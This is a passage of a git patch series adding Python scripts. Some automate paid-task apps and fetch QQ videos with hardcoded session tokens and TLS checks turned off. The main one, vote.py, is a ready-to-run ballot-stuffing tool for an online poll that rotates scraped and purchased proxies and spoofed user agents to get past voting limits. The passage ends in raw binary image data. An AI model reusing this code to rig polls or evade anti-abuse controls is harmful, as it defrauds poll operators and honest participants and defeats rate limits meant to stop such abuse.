== '__main__': + pphb = PPHB('pg5g7t33ogh0pbvn3n37t54g25') + task_list = pphb.get_list() + for i, task_item in enumerate(task_list): + if i == 0: + # 第一个是收徒,忽略 + continue + pphb_task_id = task_item['data_id'] + print(task_item) + # pphb.start_task(pphb_task_id) + pphb.get_detail(pphb_task_id) + # pphb.gave_up_task(pphb_task_id) + break diff --git a/fuck/qianka.py b/fuck/qianka.py new file mode 100644 index 0000000..1a611c5 --- /dev/null +++ b/fuck/qianka.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: qianka.py +@time: 2018-03-20 17:29 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json + + +REQUESTS_TIME_OUT = (30, 30) + + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + + +class QianKa(object): + task_process_status = {} + + def __init__(self, sid): + self.sid = sid + self.s = requests.session() + self.cookies = { + 'DIS4': self.sid, + } + self.task_id_list = [] + + @staticmethod + def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + def task_list(self): + url = 'https://qianka.com/s4/lite.subtask.list' + params = { + 't': self._get_tc(), + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + self.task_id_list = [i['id'] for i in result['payload']['tasks']] + + def task_start(self, task_id): + url = 'https://qianka.com/s4/lite.subtask.start' + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + params = { + 't': self._get_tc(), + 'task_id': task_id, + 'quality': 0, + } + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + self.task_process_status[task_id] = result['payload']['type'] + + def check_task_process_status(self, task_id): + while 1: + if task_id not in self.task_process_status: + self.task_start(task_id) + elif self.task_process_status[task_id] != 2: + time.sleep(2) + self.task_start(task_id) + else: + break + + def task_detail(self, task_id): + url = 'https://qianka.com/s4/lite.subtask.detail' + + params = { + 't': self._get_tc(), + 'task_id': task_id, + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + qk_client = QianKa(sid='06e1b64ca1244f00a1f394d05714d4c3') + qk_client.task_list() + for task_item_id in qk_client.task_id_list: + qk_client.check_task_process_status(task_item_id) + qk_client.task_detail(task_item_id) diff --git a/fuck/qq_video.py b/fuck/qq_video.py new file mode 100644 index 0000000..3a4e11a --- /dev/null +++ b/fuck/qq_video.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: qq_video.py +@time: 2018-03-22 16:45 +""" + + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests + + +REQUESTS_TIME_OUT = (30, 30) + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', + # 'X-Requested-With': 'XMLHttpRequest', +} + + +class QQVideo(object): + def __init__(self, vid): + self.vid = vid + self.s = requests.session() + self.cookies = {} + + @staticmethod + def _get_tc(): + tc = str('%10d' % time.time()) + return tc + + def a(self): + url = 'https://v.qq.com/iframe/preview.html' + params = { + 'vid': self.vid, + 'width': 500, + 'height': 375, + 'auto': 0, + } + request_headers = HEADERS.copy() + # request_headers['Host'] = 'pphongbao.com' + # request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + def getinfo(self): + url = 'https://h5vv.video.qq.com/getinfo' + params = { + 'callback': 'tvp_request_getinfo_callback_41129', + 'platform': 11001, + 'charge': 0, + 'otype': 'json', + 'ehost': 'https://v.qq.com', + 'sphls': 0, + 'sb': 1, + 'nocache': 0, + '_rnd': self._get_tc(), + 'guid': 'a30b9989e977cba7534ae35f968152f2', + 'appVer': 'V2.0Build9496', + 'vids': 'a0566mb7a7o', + 'defaultfmt': 'auto', + '_qv_rmt': 'y1mmy6reA12797AGf=', + '_qv_rmt2': 'IpHx2z2m151097kWg=', + 'sdtfrom': 'v1010', + } + + request_headers = HEADERS.copy() + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + def b(self): + url = 'http://ugcydzd.qq.com/a0566mb7a7o.mp4' + params = { + 'vkey': '4E2E338D054D1168796D7C2DDDC3952E98BADB5E937E196BA7B8C79FAC0E71CEF22B5E67048213A97FC2D8118BE7184AC5782CA935C05B70673C27D581BAAEAA3430E438B434AFE8FFAA9393E9CC18E4A024D19A2578EC6A6FA4379451620F5E116623C6462662C917D8AE186F22B1865D422902AF8E7140', + 'br': 91, + 'platform': 2, + 'fmt': 'auto', + 'level': 0, + 'sdtfrom': 'v1010', + 'guid': 'a30b9989e977cba7534ae35f968152f2', + } + request_headers = HEADERS.copy() + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + +if __name__ == '__main__': + video_url = 'https://v.qq.com/iframe/preview.html?vid=a0566mb7a7o&width=500&height=375&auto=0' + item_vid = 'a0566mb7a7o' + qq_video = QQVideo(item_vid) + qq_video.a() diff --git a/fuck/vote.py b/fuck/vote.py new file mode 100644 index 0000000..e22c558 --- /dev/null +++ b/fuck/vote.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: vote.py +@time: 2018-03-29 11:00 +""" + + +from __future__ import print_function +from __future__ import unicode_literals + +import json +import random + +import requests +from requests.exceptions import ConnectTimeout, ReadTimeout, ConnectionError + + +REQUESTS_TIME_OUT = (5, 5) + + +user_agent_list = [ + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0', + 'Mozilla/5.0 (iPhone 84; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 MQQBrowser/7.8.0 Mobile/14G60 Safari/8536.25 MttCustomUA/2 QBWebViewType/1 WKType/1', + 'Mozilla/5.0 (Linux; Android 7.0; STF-AL10 Build/HUAWEISTF-AL10; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043508 Safari/537.36 V1_AND_SQ_7.2.0_730_YYB_D QQ/7.2.0.3270 NetType/4G WebP/0.3.0 Pixel/1080', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en', + 'Mozilla/5.0 (Linux; Android 5.1.1; vivo Xplay5A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2564.116 Mobile Safari/537.36 T7/9.3 baiduboxapp/9.3.0.10 (Baidu; P1 5.1.1)', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-cn; STF-AL00 Build/HUAWEISTF-AL00) AppleWebKit/537.36 (KHTML, like Gecko)Version/4.0 Chrome/37.0.0.0 MQQBrowser/7.9 Mobile Safari/537.36', + 'Mozilla/5.0 (Linux; Android 6.0; LEX626 Build/HEXCNFN5902606111S) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/35.0.1916.138 Mobile Safari/537.36 T7/7.4 baiduboxapp/8.3.1 (Baidu; P1 6.0)', + 'Mozilla/5.0 (iPhone 92; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 MQQBrowser/7.7.2 Mobile/14F89 Safari/8536.25 MttCustomUA/2 QBWebViewType/1 WKType/1', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-CN; ZUK Z2121 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.6.8.952 Mobile Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Mobile/15A372 MicroMessenger/6.5.17 NetType/WIFI Language/zh_HK', + 'Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; SM-C7000 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.6.2.948 Mobile Safari/537.36', + 'MQQBrowser/5.3/Mozilla/5.0 (Linux; Android 6.0; TCL 580 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Mobile Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Mobile/14C92 MicroMessenger/6.5.16 NetType/WIFI Language/zh_CN', + 'Mozilla/5.0 (Linux; U; Android 5.1.1; zh-cn; MI 4S Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.1.3', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-CN; SM-G9550 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.7.0.953 Mobile Safari/537.36', + 'Mozilla/5.0 (Linux; Android 5.1; m3 note Build/LMY47I; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2564.116 Mobile Safari/537.36 T7/9.3 baiduboxapp/9.3.0.10 (Baidu; P1 5.1)', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36', + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', + 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)', + 'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', + 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)', + 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)', + 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)', + 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)', + 'Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0', + 'Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5', + 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20', + 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52', +] + + +def get_proxy_list_nghuyong(): + url = 'http://proxy.nghuyong.top/?country=China&type=http' + return [i['ip_and_port'] for i in requests.get(url).json().get('data', [])] + + +def get_proxy_list_kuaidaili(): + url = 'http://ent.kuaidaili.com/api/getproxy/?orderid=922229983862136&num=100&b_pcchrome=1&b_pcie=1&b_pcff=1&b_android=1&b_iphone=1&protocol=1&method=2&an_tr=1&an_an=1&an_ha=1&sp1=1&sp2=1&quality=2&format=json&sep=1' + result = requests.get(url).json() + if result['code'] != 0: + print(result['msg']) + return [] + return result['data']['proxy_list'] + + +proxy_list = [ + '110.76.185.162:16818', + '43.226.165.51:16818', + '182.61.35.179:16818', + '117.48.199.243:16818', + '43.226.164.66:16818', + '42.51.206.58:16818', + '120.25.71.27:16818', + '125.65.82.248:16818', + '120.24.68.197:16818', + '121.42.177.10:16818', +] +proxy_list.extend(get_proxy_list_nghuyong()) +proxy_list.extend(get_proxy_list_kuaidaili()) +# TODO add your proxies + +proxies_list = [ + { + 'http': 'http://%s' % proxy, + 'https': 'http://%s' % proxy, + } for proxy in proxy_list +] + + +def fuck(): + """ + 投票入口(默认华云),想什么呢,当然是投华云! + :return: + """ + c_vote_ok = 0 + c_vote_er = 0 + c_proxy_er = 0 + user_agent = random.choice(user_agent_list) + for proxies in proxies_list: + try: + cookies = { + } + s = requests.session() + headers = { + 'User-Agent': user_agent, + 'X-Requested-With': 'XMLHttpRequest', + } + list_url = 'http://www.zhiding.cn/vote/cloud?nomobile=&from=singlemessage&isappinstalled=0' + vote_url = 'http://www.zhiding.cn/vote/cloud/action' + data = { + 'ajax': 'true', + 'opid': 45, + } + + request_headers = headers.copy() + request_headers['Host'] = 'www.zhiding.cn' + request_headers['Origin'] = 'http://www.zhiding.cn' + + request_cookie = cookies.copy() + + list_res = s.get( + list_url, + headers=request_headers, + cookies=request_cookie, + proxies=proxies, + timeout=REQUESTS_TIME_OUT, + ) + if list_res.status_code != 200: + print('代理失效') + c_proxy_er += 1 + continue + + request_headers['Referer'] = 'http://www.zhiding.cn/vote/cloud?nomobile=&from=singlemessage&isappinstalled=0' + + request_cookie.update(list_res.cookies) + + res = s.post( + vote_url, + data=data, + headers=request_headers, + cookies=request_cookie, + proxies=proxies, + timeout=REQUESTS_TIME_OUT, + ) + if list_res.status_code != 200: + print('代理失效') + c_proxy_er += 1 + continue + + result = res.json() + if result.get('code') == 10000: + print('投票成功, 票数: %s' % result.get('msg')) + c_vote_ok += 1 + elif result.get('code') == 10001: + print('投票失败, 原因: %s' % '投票次数用完') + c_vote_er += 1 + elif result.get('code') == 10002: + print('投票失败, 原因: %s' % result.get('msg')) + c_vote_er += 1 + else: + print(json.dumps(result, indent=4, ensure_ascii=False)) + c_vote_er += 1 + except (ConnectTimeout, ReadTimeout, ConnectionError): + print('代理失效') + c_proxy_er += 1 + except Exception as e: + print(e.message) + c_vote_er += 1 + print('刷票成功: %s' % c_vote_ok) + print('刷票失败: %s' % c_vote_er) + print('代理失效: %s' % c_proxy_er) + print('-'*12) + print('暴力刷票: %s' % (c_vote_ok + c_vote_er + c_proxy_er)) + + +if __name__ == '__main__': + fuck() From 48672594bf99a16bea9501072fedab90049f393e Mon Sep 17 00:00:00 2001 From: Zhang He Date: Wed, 21 Mar 2018 13:03:04 +0800 Subject: [PATCH 39/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E6=B5=8B=E8=AF=95?= =?UTF-8?q?=E7=94=A8=E4=BE=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/js_sogou.py | 25 + fuck/logo.gif | Bin 0 -> 67009 bytes fuck/pphongbao.py | 2 +- fuck/sogou_antispider.py | 169 + fuck/tyc-num.xml | 22813 +++++++++++++++++++++++++++++ fuck/tyc.py | 20 + fuck/weibo.py | 22 + test/algorithm/index.md | 1 + test/algorithm/inverted_index.py | 22 + test/algorithm/tree.md | 1 + test/test_ip.py | 34 + test/test_reduce.py | 59 + test/test_reflect.py | 68 + test/test_timeout.py | 74 + test/test_wrap.py | 47 + tools/convert.py | 6 +- tools/curl.py | 2 +- tools/ip.py | 23 +- 18 files changed, 23383 insertions(+), 5 deletions(-) create mode 100644 fuck/js_sogou.py create mode 100644 fuck/logo.gif create mode 100644 fuck/sogou_antispider.py create mode 100644 fuck/tyc-num.xml create mode 100644 fuck/tyc.py create mode 100644 fuck/weibo.py create mode 100644 test/algorithm/index.md create mode 100644 test/algorithm/inverted_index.py create mode 100644 test/algorithm/tree.md create mode 100644 test/test_ip.py create mode 100644 test/test_reduce.py create mode 100644 test/test_reflect.py create mode 100644 test/test_timeout.py create mode 100644 test/test_wrap.py diff --git a/fuck/js_sogou.py b/fuck/js_sogou.py new file mode 100644 index 0000000..650bcdc --- /dev/null +++ b/fuck/js_sogou.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: js_sogou.py +@time: 2017/11/29 上午11:38 +""" + +import execjs + + +ss = u''' + def res() { + return d; + } +''' + +ctx = execjs.compile(ss) + + + +if __name__ == '__main__': + pass diff --git a/fuck/logo.gif b/fuck/logo.gif new file mode 100644 index 0000000000000000000000000000000000000000..465401eecaa9fcef2a6f92e9bd3deab286ad82fc GIT binary patch literal 67009 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 